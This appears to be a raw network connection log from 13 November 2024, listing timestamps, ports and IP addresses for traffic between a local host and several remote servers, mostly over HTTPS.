Nov 13, 2024 14:41:20.786429882 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:20.787338972 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.787369967 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:20.831347942 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.831414938 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.831463099 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.831648111 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.831648111 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.831686020 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.831710100 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.834131956 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.834192991 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.834374905 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.834495068 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.834527016 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.012574911 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.012604952 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.193968058 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:21.193968058 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:21.193979979 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:21.193989992 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:21.308722019 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.309806108 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.309829950 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.311253071 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.311259031 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.411031008 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.411442995 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.411468983 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.412024975 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.412030935 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.462668896 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.462841988 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.462918043 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.463140011 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.463156939 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.465795994 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.477212906 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.477222919 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.477720976 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.477725029 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.479505062 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.479540110 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.479686022 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.480051994 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.480067968 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.517721891 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.519874096 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.519891977 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.520520926 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.520528078 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.543018103 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.543416023 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.543513060 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.543756008 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.543773890 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.543785095 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.543790102 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.549966097 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.550004959 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.550091982 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.550503016 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.550513983 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.564930916 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:21.564989090 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:21.590364933 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.590581894 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.592253923 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.592274904 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.592597961 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.596223116 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.602869034 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.603396893 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.603398085 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.603442907 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.603574038 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.603832960 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.603837967 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.603851080 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.604077101 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.604077101 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.604096889 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.604109049 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.607181072 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.607219934 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.607327938 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.607561111 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.607573032 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.639333963 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.652173042 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.652245998 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.652440071 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.652478933 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.652499914 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.652509928 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.652515888 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.655479908 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.655509949 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.655570030 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.655704021 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.655714989 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.739346981 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.739733934 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.739923000 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.740209103 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.740228891 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.740240097 CET	49777	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.740245104 CET	443	49777	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.742753983 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.742782116 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.742942095 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.743136883 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:21.743150949 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:21.841160059 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.841257095 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.841305971 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.872828007 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.872828007 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:21.872853041 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:21.872862101 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:22.421740055 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.422239065 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.422260046 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.422950029 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.422959089 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.423382044 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.425667048 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.425709963 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.425991058 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.426004887 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.548538923 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.553874016 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.555617094 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.555921078 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.556020021 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.558202982 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.558587074 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.558643103 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.562534094 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.562556982 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.563091040 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.563100100 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.567590952 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.567605019 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.567780972 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.568391085 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.568397045 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.568732977 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.568759918 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.569293976 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.569300890 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.572021961 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.572048903 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.572062969 CET	49778	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.572068930 CET	443	49778	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.572207928 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.572235107 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.572242975 CET	49779	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.572248936 CET	443	49779	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.610929966 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.610996008 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.611186028 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.615492105 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.615525961 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.616050005 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.616065025 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.616293907 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.619235992 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.619250059 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.687819004 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.687891960 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.687971115 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.688271046 CET	49780	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.688282967 CET	443	49780	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.693355083 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.693434000 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.693495989 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.694161892 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.694207907 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.695341110 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.696927071 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.696944952 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.696959019 CET	49782	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.696964979 CET	443	49782	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.697216988 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.697242975 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.699495077 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.699529886 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.699599981 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.702997923 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.703035116 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.716830015 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.716887951 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.716941118 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.717097998 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.717119932 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.717129946 CET	49781	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.717137098 CET	443	49781	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.738214016 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.738246918 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:22.738399029 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.739166021 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:22.739180088 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.348962069 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.349476099 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.349541903 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.349912882 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.349926949 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.390880108 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.391268969 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.391282082 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.391716957 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.391731977 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.424343109 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.424854994 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.424875021 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.425292015 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.425296068 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.446381092 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.447252035 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.447269917 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.447773933 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.447779894 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.478442907 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.478883028 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.478940964 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.488583088 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.525609016 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.525971889 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.526052952 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.527985096 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.528012037 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.528038025 CET	49783	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.528053045 CET	443	49783	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.543812037 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.555246115 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.555339098 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.555386066 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.567491055 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.567502975 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.568162918 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.568167925 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.569844961 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.569844961 CET	49784	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.569878101 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.569894075 CET	443	49784	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.577236891 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.577562094 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.577658892 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.646167040 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.646189928 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.646200895 CET	49785	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.646207094 CET	443	49785	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.652229071 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.652276039 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.652292967 CET	49786	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.652302027 CET	443	49786	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.688386917 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.688431025 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.688494921 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.711086988 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.711164951 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.711253881 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.730801105 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.730832100 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.829385996 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.829413891 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.829499960 CET	49787	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.829505920 CET	443	49787	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.895159006 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.895215034 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.895333052 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.895700932 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.895731926 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.896207094 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.932034016 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:23.932061911 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:23.932255983 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:23.950874090 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.950923920 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.950978994 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.956079006 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.956108093 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:23.956298113 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:23.956316948 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.078001022 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.078027010 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.081456900 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.081513882 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.081641912 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.082340002 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.082355022 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.096266985 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:24.096292019 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:24.476274967 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.586695910 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.586708069 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.587564945 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.587573051 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.695687056 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.696908951 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.714198112 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.714678049 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.714756966 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.747706890 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.790036917 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.806540012 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.843228102 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.853172064 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.897406101 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.912436008 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.912442923 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.914618969 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.914625883 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.915045977 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.915071964 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.916656971 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.916693926 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.916795969 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.916802883 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.917216063 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.917233944 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.921731949 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.921751976 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.921758890 CET	49788	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.921766043 CET	443	49788	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.922054052 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.922060013 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:24.922494888 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:24.922501087 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.011116982 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.011173964 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.011535883 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.036917925 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.036945105 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.043499947 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.043589115 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.043751001 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.047838926 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.047864914 CET	443	49799	13.107.246.44	192.168.2.7
